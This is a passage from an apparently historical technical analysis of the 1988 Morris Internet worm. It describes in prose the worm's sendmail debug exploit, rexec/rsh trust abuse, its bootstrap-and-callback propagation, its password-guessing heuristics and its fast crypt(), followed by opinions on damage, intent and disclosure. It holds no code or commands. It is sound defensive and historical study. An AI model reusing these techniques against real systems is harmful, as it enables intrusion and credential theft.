to +pass in a command sequence instead of a user name for a reci- +pient. Alas, most versions of _ s_ e_ n_ d_ m_ a_ i_ l are compiled with _ D_ E_ B_ U_ G, +including the one that Sun sends out in its binary distribution. +The worm mimics a remote SMTP connection, feeding in /_ d_ e_ v/_ n_ u_ l_ l as +the name of the sender and a carefully crafted string as the +recipient. The string sets up a command that deletes the header +of the message and passes the body to a command interpreter. The +body contains a copy of the worm bootstrap source plus commands +to compile and run it. After the worm finishes the protocol and +closes the connection to _ s_ e_ n_ d_ m_ a_ i_ l, the bootstrap will be built on +the remote host and the local worm waits for its connection so +that it can complete the process of building a new worm. + + Of course this is not the first time that an inadvertent +loophole or ``trap door'' like this has been found in sendmail, +and it may not be the last. In his Turing Award lecture, Ken +Thompson said: ``You can't trust code that you did not totally +create yourself. (Especially code from companies that employ +people like me.)'' In fact, as Eric Allman says, ``[Y]ou can't +even trust code that you did totally create yourself.'' The basic +problem of trusting system programs is not one that is easy to +solve. + +_ 4._ 6. _ I_ n_ f_ e_ c_ t_ i_ o_ n + + The worm uses two favorite routines when it decides that it +wants to infect a host. One routine that we named _ i_ n_ f_ e_ c_ t() is +used from host scanning routines like _ h_ g(). _ i_ n_ f_ e_ c_ t() first + + + + + + + + + + +Tour of the Worm 17 + + +checks that it isn't infecting the local machine, an already +infected machine or a machine previously attacked but not suc- +cessfully infected; the ``infected'' and ``immune'' states are +marked by flags on a host structure when attacks succeed or fail, +respectively. The worm then makes sure that it can get an +address for the target host, marking the host immune if it can't. +Then comes a series of attacks: first by _ r_ s_ h from the account +that the worm is running under, then through _ f_ i_ n_ g_ e_ r, then through +_ s_ e_ n_ d_ m_ a_ i_ l. If _ i_ n_ f_ e_ c_ t() fails, it marks the host as immune. + + The other infection routine is named _ h_ u_ 1() and it is run +from the password cracking code after a password has been +guessed. _ h_ u_ 1(), like _ i_ n_ f_ e_ c_ t(), makes sure that it's not re- +infecting a host, then it checks for an address. If a potential +remote user name is available from a ._ f_ o_ r_ w_ a_ r_ d or ._ r_ h_ o_ s_ t_ s file, +the worm checks it to make sure it is reasonable--it must contain +no punctuation or control characters. If a remote user name is +unavailable the worm uses the local user name. Once the worm has +a user name and a password, it contacts the _ r_ e_ x_ e_ c server on the +target host and tries to authenticate itself. If it can, it +proceeds to the bootstrap phase; otherwise, it tries a slightly +different approach--it connects to the local _ r_ e_ x_ e_ c server with +the local user name and password, then uses this command inter- +preter to fire off a command interpreter on the target machine +with _ r_ s_ h. This will succeed if the remote host says it trusts +the local host in its /_ e_ t_ c/_ h_ o_ s_ t_ s._ e_ q_ u_ i_ v file, or the remote +account says it trusts the local account in its ._ r_ h_ o_ s_ t_ s file. +_ h_ u_ 1() ignores _ i_ n_ f_ e_ c_ t()'s ``immune'' flag and does not set this +flag itself, since _ h_ u_ 1() may find success on a per-account basis +that _ i_ n_ f_ e_ c_ t() can't achieve on a per-host basis. + + Both _ i_ n_ f_ e_ c_ t() and _ h_ u_ 1() use a routine we call _ s_ e_ n_ d_ w_ o_ r_ m() to +do their dirty work[5]. _ s_ e_ n_ d_ w_ o_ r_ m() looks for the _ l_ 1._ c bootstrap +source file in its objects list, then it uses the _ m_ a_ k_ e_ m_ a_ g_ i_ c() +routine to get a communication stream endpoint (a _ s_ o_ c_ k_ e_ t), a ran- +dom network port number to rendezvous at, and a magic number for +authentication. (There is an interesting side effect to +_ m_ a_ k_ e_ m_ a_ g_ i_ c()--it looks for a usable address for the target host by +trying to connect to its TCP _ t_ e_ l_ n_ e_ t port; this produces a charac- +teristic log message from the _ t_ e_ l_ n_ e_ t server.) If _ m_ a_ k_ e_ m_ a_ g_ i_ c() was +successful, the worm begins to send commands to the remote com- +mand interpreter that was started up by the immediately preceding +attack. It changes its directory to an unprotected place +(/_ u_ s_ r/_ t_ m_ p), then it sends across the bootstrap source, using the +UNIX stream editor _ s_ e_ d to parse the input stream. The bootstrap +____________________ + 9 [5] One minor exception: the _ s_ e_ n_ d_ m_ a_ i_ l attack doesn't use +_ s_ e_ n_ d_ w_ o_ r_ m() since it needs to handle the SMTP protocol in addition +to the command interpreter interface, but the principle is the +same. + + + + + 9 + + + + + + + +Tour of the Worm 18 + + +source is compiled and run on the remote system, and the worm +runs a routine named _ w_ a_ i_ t_ h_ i_ t() to wait for the remote bootstrap +to call back on the selected port. + + The bootstrap is quite simple. It is supplied the address +of the originating host, a TCP port number and a magic number as +arguments. When it starts, it unlinks itself so that it can't be +detected in the filesystem, then it calls _ f_ o_ r_ k() to create a new +process with the same image. The old process exits, permitting +the originating worm to continue with its business. The +bootstrap reads its arguments then zeroes them out to hide them +from the system status program; then it is ready to connect over +the network to the parent worm. When the connection is made, the +bootstrap sends over the magic number, which the parent will +check against its own copy. If the parent accepts the number +(which is carefully rendered to be independent of host byte +order), it will send over a series of filenames and files which +the bootstrap writes to disk. If trouble occurs, the bootstrap +removes all these files and exits. Eventually the transaction +completes, and the bootstrap calls up a command interpreter to +finish the job. + + In the meantime, the parent in _ w_ a_ i_ t_ h_ i_ t() spends up to two +minutes waiting for the bootstrap to call back; if the bootstrap +fails to call back, or the authentication fails, the worm decides +to give up and reports a failure. When a connection is success- +ful, the worm ships all of its files across followed by an end- +of-file indicator. It pauses four seconds to let a command +interpreter start on the remote side, then it issues commands to +create a new worm. For each relocatable object file in the list +of files, the worm tries to build an executable object; typically +each file contains code for a particular make of computer, and +the builds will fail until the worm tries the proper computer +type. If the parent worm finally gets an executable child worm +built, it sets it loose with the -_ p option to kill the command +interpreter, then shuts down the connection. The target host is +marked ``infected''. If none of the objects produces a usable +child worm, the parent removes the detritus and _ w_ a_ i_ t_ h_ i_ t() returns +an error indication. + + When a system is being swamped by worms, the /_ u_ s_ r/_ t_ m_ p direc- +tory can fill with leftover files as a consequence of a bug in +_ w_ a_ i_ t_ h_ i_ t(). If a worm compile takes more than 30 seconds, resyn- +chronization code will report an error but _ w_ a_ i_ t_ h_ i_ t() will fail to +remove the files it has created. On one of our machines, 13 MB +of material representing 86 sets of files accumulated over 5.5 +hours. + +_ 4._ 7. _ P_ a_ s_ s_ w_ o_ r_ d _ c_ r_ a_ c_ k_ i_ n_ g + + A password cracking algorithm seems like a slow and bulky +item to put in a worm, but the worm makes this work by being per- +sistent and efficient. The worm is aided by some unfortunate + + + + + + + + + + +Tour of the Worm 19 + + +statistics about typical password choices. Here we discuss how +the worm goes about choosing passwords to test and how the UNIX +password encryption routine was modified. + +_ 4._ 7._ 1. _ G_ u_ e_ s_ s_ i_ n_ g _ p_ a_ s_ s_ w_ o_ r_ d_ s + + For example, if the login name is ``abc'', then ``abc'', + ``cba'', and ``abcabc'' are excellent candidates for + passwords. [Grampp and Morris, ``UNIX Operating System + Security''] + + + The worm's password guessing is driven by a little 4-state +machine. The first state gathers password data, while the +remaining states represent increasingly less likely sources of +potential passwords. The central cracking routine is called +_ c_ r_ a_ c_ k_ s_ o_ m_ e(), and it contains a switch on each of the four states. + + The routine that implements the first state we named +_ c_ r_ a_ c_ k__ 0(). This routine's job is to collect information about +hosts and accounts. It is only run once; the information it +gathers persists for the lifetime of the worm. Its implementa- +tion is straightforward: it reads the files /_ e_ t_ c/_ h_ o_ s_ t_ s._ e_ q_ u_ i_ v and +/._ r_ h_ o_ s_ t_ s for hosts to attack, then reads the password file look- +ing for accounts. For each account, the worm saves the name, the +encrypted password, the home directory and the user information +fields. As a quick preliminary check, it looks for a ._ f_ o_ r_ w_ a_ r_ d +file in each user's home directory and saves any host name it +finds in that file, marking it like the previous ones. + + We unimaginatively called the function for the next state +_ c_ r_ a_ c_ k__ 1(). _ c_ r_ a_ c_ k__ 1() looks for trivially broken passwords. +These are passwords which can be guessed merely on the basis of +information already contained in the password file. Grampp and +Morris report a survey of over 100 password files where between 8 +and 30 percent of all passwords were guessed using just the +literal account name and a couple of variations. The worm tries +a little harder than this: it checks the null password, the +account name, the account name concatenated with itself, the +first name (extracted from the user information field, with the +first letter mapped to lower case), the last name, and the +account name reversed. It runs through up to 50 accounts per +call to _ c_ r_ a_ c_ k_ s_ o_ m_ e(), saving its place in the list of accounts and +advancing to the next state when it runs out of accounts to try. + + The next state is handled by _ c_ r_ a_ c_ k__ 2(). In this state the +worm compares a list of favorite passwords, one password per +call, with all of the encrypted passwords in the password file. +The list contains 432 words, most of which are real English words +or proper names; it seems likely that this list was generated by +stealing password files and cracking them at leisure on the worm +author's home machine. A global variable _ n_ e_ x_ t_ w is used to count +the number of passwords tried, and it is this count (plus a loss + + + + + + + + + + +Tour of the Worm 20 + + +in the population control game) that controls whether the worm +exits at the end of the main loop--_ n_ e_ x_ t_ w must be greater than 10 +before the worm can exit. Since the worm normally spends 2.5 +minutes checking for clients over the course of the main loop and +calls _ c_ r_ a_ c_ k_ s_ o_ m_ e() twice in that period, it appears that the worm +must make a minimum of 7 passes through the main loop, taking +more than 15 minutes[6]. It will take at least 9 hours for the +worm to scan its built-in password list and proceed to the next +state. + + The last state is handled by _ c_ r_ a_ c_ k__ 3(). It opens the UNIX +online dictionary /_ u_ s_ r/_ d_ i_ c_ t/_ w_ o_ r_ d_ s and goes through it one word at +a time. If a word is capitalized, the worm tries a lower-case +version as well. This search can essentially go on forever: it +would take something like four weeks for the worm to finish a +typical dictionary like ours. + + When the worm selects a potential password, it passes it to +a routine we called _ t_ r_ y__ p_ a_ s_ s_ w_ o_ r_ d(). This function calls the +worm's special version of the UNIX password encryption function +_ c_ r_ y_ p_ t() and compares the result with the target account's actual +encrypted password. If they are equal, or if the password and +guess are the null string (no password), the worm saves the +cleartext password and proceeds to attack hosts that are con- +nected to this account. A routine we called +_ t_ r_ y__ f_ o_ r_ w_ a_ r_ d__ a_ n_ d__ r_ h_ o_ s_ t_ s() reads the user's ._ f_ o_ r_ w_ a_ r_ d and ._ r_ h_ o_ s_ t_ s +files, calling the previously described _ h_ u_ 1() function for each +remote account it finds. + + + +____________________ + 9 [6] For those mindful of details: The first call to _ c_ r_ a_ c_ k- +_ s_ o_ m_ e() is consumed reading system files. The worm must spend at +least one call to _ c_ r_ a_ c_ k_ s_ o_ m_ e() in the second state attacking +trivial passwords. This accounts for at least one pass through +the main loop. In the third state, _ c_ r_ a_ c_ k_ s_ o_ m_ e() tests one pass- +word from its list of favorites on each call; the worm will exit +if it lost a roll of the dice and more than ten words have been +checked, so this accounts for at least six loops, two words on +each loop for five loops to reach 10 words, then another loop to +pass that number. Altogether this amounts to a minimum of 7 +loops. If all 7 loops took the maximum amount of time waiting +for clients, this would require a minimum of 17.5 minutes, but +the 2-minute check can exit early if a client connects and the +server loses the challenge, hence 15.5 minutes of waiting time +plus runtime overhead is the minimum lifetime. In this period a +worm will attack at least 8 hosts through the host infection rou- +tines, and will try about 18 passwords for each account, attack- +ing more hosts if accounts are cracked. + + + + + 9 + + + + + + + +Tour of the Worm 21 + + +_ 4._ 7._ 2. _ F_ a_ s_ t_ e_ r _ p_ a_ s_ s_ w_ o_ r_ d _ e_ n_ c_ r_ y_ p_ t_ i_ o_ n + + The use of encrypted passwords appears reasonably secure + in the absence of serious attention of experts in the + field. [Morris and Thompson, ``Password Security: A Case + History''] + + + Unfortunately some experts in the field have been giving +serious attention to fast implementations of the UNIX password +encryption algorithm. UNIX password authentication works without +putting any readable version of the password onto the system, and +indeed works without protecting the encrypted password against +reading by users on the system. When a user types a password in +the clear, the system encrypts it using the standard _ c_ r_ y_ p_ t() +library routine, then compares it against a saved copy of the +encrypted password. The encryption algorithm is meant to be +basically impossible to invert, preventing the retrieval of pass- +words by examining only the encrypted text, and it is meant to be +expensive to run, so that testing guesses will take a long time. +The UNIX password encryption algorithm is based on the Federal +Data Encryption Standard (DES). Currently no one knows how to +invert this algorithm in a reasonable amount of time, and while +fast DES encoding chips are available, the UNIX version of the +algorithm is slightly perturbed so that it is impossible to use a +standard DES chip to implement it. + + Two problems have been mitigating against the UNIX implemen- +tation of DES. Computers are continually increasing in speed-- +current machines are typically several times faster than the +machines that were available when the current password scheme was +invented. At the same time, ways have been discovered to make +software DES run faster. UNIX passwords are now far more suscep- +tible to persistent guessing, particularly if the encrypted pass- +words are already known. The worm's version of the UNIX _ c_ r_ y_ p_ t() +routine ran more than 9 times faster than the standard version +when we tested it on our VAX 8600. While the standard _ c_ r_ y_ p_ t() +takes 54 seconds to encrypt 271 passwords on our 8600 (the number +of passwords actually contained in our password file), the worm's +_ c_ r_ y_ p_ t() takes less than 6 seconds. + + The worm's _ c_ r_ y_ p_ t() algorithm appears to be a compromise +between time and space: the time needed to encrypt one password +guess versus the substantial extra table space needed to squeeze +performance out of the algorithm. Curiously, one performance +improvement actually saves a little space. The traditional UNIX +algorithm stores each bit of the password in a byte, while the +worm's algorithm packs the bits into two 32-bit words. This per- +mits the worm's algorithm to use bit-field and shift operations +on the password data, which is immensely faster. Other speedups +include unrolling loops, combining tables, precomputing shifts +and masks, and eliminating redundant initial and final permuta- +tions when performing the 25 applications of modified DES that + + + + + + + + + + +Tour of the Worm 22 + + +the password encryption algorithm uses. The biggest performance +improvement comes as a result of combining permutations: the worm +uses expanded arrays which are indexed by groups of bits rather +than the single bits used by the standard algorithm. Matt +Bishop's fast version of _ c_ r_ y_ p_ t() does all of these things and +also precomputes even more functions, yielding twice the perfor- +mance of the worm's algorithm but requiring nearly 200 KB of ini- +tialized data as opposed to the 6 KB used by the worm and the +less than 2 KB used by the normal _ c_ r_ y_ p_ t(). + + How can system administrators defend against fast implemen- +tations of _ c_ r_ y_ p_ t()? One suggestion that has been introduced for +foiling the bad guys is the idea of shadow password files. In +this scheme, the encrypted passwords are hidden rather than pub- +lic, forcing a cracker to either break a privileged account or +use the host's CPU and (slow) encryption algorithm to attack, +with the added danger that password test requests could be logged +and password cracking discovered. The disadvantage of shadow +password files is that if the bad guys somehow get around the +protections for the file that contains the actual passwords, all +of the passwords must be considered cracked and will need to be +replaced. Another suggestion has been to replace the UNIX DES +implementation with the fastest available implementation, but run +it 1000 times or more instead of the 25 times used in the UNIX +_ c_ r_ y_ p_ t() code. Unless the repeat count is somehow pegged to the +fastest available CPU speed, this approach merely postpones the +day of reckoning until the cracker finds a faster machine. It's +interesting to note that Morris and Thompson measured the time to +compute the old M-209 (non-DES) password encryption algorithm +used in early versions of UNIX on the PDP-11/70 and found that a +good implementation took only 1.25 milliseconds per encryption, +which they deemed insufficient; currently the VAX 8600 using Matt +Bishop's DES-based algorithm needs 11.5 milliseconds per encryp- +tion, and machines 10 times faster than the VAX 8600 at a cheaper +price will be available soon (if they aren't already!). + +_ 5. _ O_ p_ i_ n_ i_ o_ n_ s + + The act of breaking into a computer system has to have + the same social stigma as breaking into a neighbor's + house. It should not matter that the neighbor's door is + unlocked. [Ken Thompson, 1983 Turing Award Lecture] + 9 [Creators of viruses are] stealing a car for the purpose + of joyriding. [R H Morris, in 1983 Capitol Hill tes- + timony, cited in the New York Times 11/11/88] + + + I don't propose to offer definitive statements on the moral- +ity of the worm's author, the ethics of publishing security +information or the security needs of the UNIX computing commun- +ity, since people better (and less) qualified than I are still +copiously flaming on these topics in the various network + + + 9 + + + + + + + +Tour of the Worm 23 + + +newsgroups and mailing lists. For the sake of the mythical ordi- +nary system administrator who might have been confused by all the +information and misinformation, I will try to answer a few of the +most relevant questions in a narrow but useful way. + + _ D_ i_ d _ t_ h_ e _ w_ o_ r_ m _ c_ a_ u_ s_ e _ d_ a_ m_ a_ g_ e? The worm did not destroy files, +intercept private mail, reveal passwords, corrupt databases or +plant trojan horses. It did compete for CPU time with, and even- +tually overwhelm, ordinary user processes. It used up limited +system resources such as the open file table and the process text +table, causing user processes to fail for lack of same. It +caused some machines to crash by operating them close to the lim- +its of their capacity, exercising bugs that do not appear under +normal loads. It forced administrators to perform one or more +reboots to clear worms from the system, terminating user sessions +and long-running jobs. It forced administrators to shut down +network gateways, including gateways between important nation- +wide research networks, in an effort to isolate the worm; this +led to delays of up to several days in the exchange of electronic +mail, causing some projects to miss deadlines and others to lose +valuable research time. It made systems staff across the country +drop their ongoing hacks and work 24-hour days trying to corner +and kill worms. It caused members of management in at least one +institution to become so frightened that they scrubbed all the +disks at their facility that were online at the time of the +infection, and limited reloading of files to data that was verif- +iably unmodified by a foreign agent. It caused bandwidth through +gateways that were still running after the infection started to +become substantially degraded--the gateways were using much of +their capacity just shipping the worm from one network to +another. It penetrated user accounts and caused it to appear +that a given user was disturbing a system when in fact they were +not responsible. It's true that the worm could have been far +more harmful that it actually turned out to be: in the last few +weeks, several security bugs have come to light which the worm +could have used to thoroughly destroy a system. Perhaps we +should be grateful that we escaped incredibly awful consequences, +and perhaps we should also be grateful that we have learned so +much about the weaknesses in our systems' defenses, but I think +we should share our gratefulness with someone other than the +worm's author. + + _ W_ a_ s _ t_ h_ e _ w_ o_ r_ m _ m_ a_ l_ i_ c_ i_ o_ u_ s? Some people have suggested that the +worm was an innocent experiment that got out of hand, and that it +was never intended to spread so fast or so widely. We can find +evidence in the worm to support and to contradict this +hypothesis. There are a number of bugs in the worm that appear +to be the result of hasty or careless programming. For example, +in the worm's _ i_ f__ i_ n_ i_ t() routine, there is a call to the block +zero function _ b_ z_ e_ r_ o() that incorrectly uses the block itself +rather than the block's address as an argument. It's also possi- +ble that a bug was responsible for the ineffectiveness of the +population control measures used by the worm. This could be seen + + + + + + + + + + +Tour of the Worm 24 + + +as evidence that a development version of the worm ``got loose'' +accidentally, and perhaps the author originally intended to test +the final version under controlled conditions, in an environment +from which it would not escape. On the other hand, there is con- +siderable evidence that the worm was designed to reproduce +quickly and spread itself over great distances. It can be argued +that the population control hacks in the worm are anemic by +design: they are a compromise between spreading the worm as +quickly as possible and raising the load enough to be detected +and defeated. A worm will exist for a substantial amount of time +and will perform a substantial amount of work even if it loses +the roll of the (imaginary) dice; moreover, 1 in 7 worms become +immortal and can't be killed by dice rolls. There is ample evi- +dence that the worm was designed to hamper efforts to stop it +even after it was identified and captured. It certainly suc- +ceeded in this, since it took almost a day before the last mode +of infection (the _ f_ i_ n_ g_ e_ r server) was identified, analyzed and +reported widely; the worm was very successful in propagating +itself during this time even on systems which had fixed the _ s_ e_ n_ d_ - +_ m_ a_ i_ l debug problem and had turned off _ r_ e_ x_ e_ c. Finally, there is +evidence that the worm's author deliberately introduced the worm +to a foreign site that was left open and welcome to casual out- +side users, rather ungraciously abusing this hospitality. He +apparently further abused this trust by deleting a log file that +might have revealed information that could link his home site +with the infection. I think the innocence lies in the research +community rather than with the worm's author. + + _ W_ i_ l_ l _ p_ u_ b_ l_ i_ c_ a_ t_ i_ o_ n _ o_ f _ w_ o_ r_ m _ d_ e_ t_ a_ i_ l_ s _ f_ u_ r_ t_ h_ e_ r _ h_ a_ r_ m _ s_ e_ c_ u_ r_ i_ t_ y? In +a sense, the worm itself has solved that problem: it has pub- +lished itself by sending copies to hundreds or thousands of +machines around the world. Of course a bad guy who wants to use +the worm's tricks would have to go through the same effort that +we went through in order to understand the program, but then it +only took us a week to completely decompile the program, so while +it takes fortitude to hack the worm, it clearly is not greatly +difficult for a decent programmer. One of the worm's most effec- +tive tricks was advertised when it entered--the bulk of the _ s_ e_ n_ d_ - +_ m_ a_ i_ l hack is visible in the log file, and a few minutes' work +with the sources will reveal the rest of the trick. The worm's +fast password algorithm could be useful to the bad guys, but at +least two other faster implementations have been available for a +year or more, so it isn't very secret, or even very original. +Finally, the details of the worm have been well enough sketched +out on various newsgroups and mailing lists that the principal +hacks are common knowledge. I think it's more important that we +understand what happened, so that we can make it less likely to +happen again, than that we spend time in a futile effort to cover +up the issue from everyone but the bad guys. Fixes for both +source and binary distributions are widely available, and anyone +who runs a system with these vulnerabilities needs to look into +these fixes immediately, if they haven't done so already. + 9 + + 9 + + + + + + + +Tour of the Worm 25 + + +_ 6. _ C_ o_ n_ c_ l_ u_ s_ i_ o_ n + + It has raised the public awareness to a considerable de- + gree. [R H Morris, quoted in the New York Times 11/5/88] + + + This quote is one of the understatements of the year. The +worm story was on the front page of the New York Times and other +newspapers for days. It was the subject of television and radio +features. Even the _ B_ l_ o_ o_ m _ C_ o_ u_ n_ t_ y comic strip poked fun at it. + + Our community has never before been in the limelight in this +way, and judging by the response, it has scared us. I won't +offer any fancy platitudes about how the experience is going to +change us, but I will say that I think these issues have been +ignored for much longer than was safe, and I feel that a better +understanding of the crisis just past will help us cope better +with the next one. Let's hope we're as lucky next time as we +were this time. + +_ A_ c_ k_ n_ o_ w_ l_ e_ d_ g_ m_ e_ n_ t_ s + + No one is to blame for the inaccuracies herein except me, +but there are plenty of people to thank for helping to decompile +the worm and for helping to document the epidemic. Dave Pare and +Chris Torek were at the center of the action during the late +night session at Berkeley, and they had help and kibitzing from +Keith Bostic, Phil Lapsley, Peter Yee, Jay Lepreau and a cast of +thousands. Glenn Adams and Dave Siegel provided good information +on the MIT AI Lab attack, while Steve Miller gave me details on +Maryland, Jeff Forys on Utah, and Phil Lapsley, Peter Yee and +Keith Bostic on Berkeley. Bill Cheswick sent me a couple of fun +anecdotes from AT&T Bell Labs. Jim Haynes gave me the run-down +on the security problems turned up by his busy little undergrads +at UC Santa Cruz. Eric Allman, Keith Bostic, Bill Cheswick, Mike +Hibler, Jay Lepreau, Chris Torek and Mike Zeleznik provided many +useful review comments. Thank you all, and everyone else I for- +got to mention. + + Matt Bishop's paper ``A Fast Version of the DES and a Pass- +word Encryption Algorithm'', 8c 91987 by Matt Bishop and the Univer- +sities Space Research Association, was helpful in (slightly) +parting the mysteries of DES for me. Anyone wishing to under- +stand the worm's DES hacking had better look here first. The +paper is available with Bishop's _ d_ e_ s_ z_ i_ p distribution of software +for fast DES encryption. The latter was produced while Bishop +was with the Research Institute for Advanced Computer Science at +NASA Ames Research Center; Bishop is now at Dartmouth College +(_ b_ i_ s_ h_ o_ p@_ b_ e_ a_ r._ d_ a_ r_ t_ m_ o_ u_ t_ h._ e_ d_ u). He sent me a very helpful note on +the worm's implementation of _ c_ r_ y_ p_ t() which I leaned on heavily +when discussing the algorithm above. + + 9 + + 9 + + + + + + + +Tour of the Worm 26 + + + The following documents were also referenced above for +quotes or for other material: + +_ D_ a_ t_ a _ E_ n_ c_ r_ y_ p_ t_ i_ o_ n _ S_ t_ a_ n_ d_ a_ r_ d, FIPS PUB 46, National Bureau of Stan- +dards, Washington D.C., January 15, 1977. + +F. T. Grampp and R. H. Morris, ``UNIX Operating System Secu- +rity,'' in the _ A_ T&_ T _ B_ e_ l_ l _ L_ a_ b_ o_ r_ a_ t_ o_ r_ i_ e_ s _ T_ e_ c_ h_ n_ i_ c_ a_ l _ J_ o_ u_ r_ n_ a_ l, October +1984, Vol. 63, No. 8, Part 2, p. 1649. + +Brian W. Kernighan and Dennis Ritchie, _ T_ h_ e _ C _ P_ r_ o_ g_ r_ a_ m_ m_ i_ n_ g +_ L_ a_ n_ g_ u_ a_ g_ e, Second Edition, Prentice Hall: Englewood Cliffs, NJ, + 8c 91988. + +John Markoff, ``Author of computer `virus' is son of U.S. Elec- +tronic Security Expert,'' p. 1 of the _ N_ e_ w _ Y_ o_ r_ k _ T_ i_ m_ e_ s, November 5, +1988. + +John Markoff, ``A family's passion for computers, gone sour,'' p. +1 of the _ N_ e_ w _ Y_ o_ r_ k _ T_ i_ m_ e_ s, November 11, 1988. + +Robert Morris and Ken Thompson, ``Password Security: A Case His- +tory,'' dated April 3, 1978, in the _ U_ N_ I_ X _ P_ r_ o_ g_ r_ a_ m_ m_ e_ r'_ s _ M_ a_ n_ u_ a_ l, in +the _ S_ u_ p_ p_ l_ e_ m_ e_ n_ t_ a_ r_ y _ D_ o_ c_ u_ m_ e_ n_ t_ s or the _ S_ y_ s_ t_ e_ m _ M_ a_ n_ a_ g_ e_ r'_ s _ M_ a_ n_ u_ a_ l, +depending on where and when you got your manuals. + +Robert T. Morris, ``A Weakness in the 4.2BSD Unix TCP/IP +Software,'' AT&T Bell Laboratories Computing Science Technical +Report #117, February 25, 1985. This paper actually describes a +way of spoofing TCP/IP so that an untrusted host can make use of +the _ r_ s_ h server on any 4.2 BSD UNIX system, rather than an attack +based on breaking into accounts on trusted hosts, which is what +the worm uses. + +Brian Reid, ``Massive UNIX breakins at Stanford,'' RISKS-FORUM +Digest, Vol. 3, Issue 56, September 16, 1986. + +Dennis Ritchie, ``On the Security of UNIX,'' dated June 10, 1977, +in the same manual you found the Morris and Thompson paper in. + +Ken Thompson, ``Reflections on Trusting Trust,'' 1983 ACM Turing +Award Lecture, in the _ C_ o_ m_ m_ u_ n_ i_ c_ a_ t_ i_ o_ n_ s _ o_ f _ t_ h_ e _ A_ C_ M, Vol. 27, No. 8, +p. 761, August 1984. + + + + + + + + + + 9 + + 9 + + +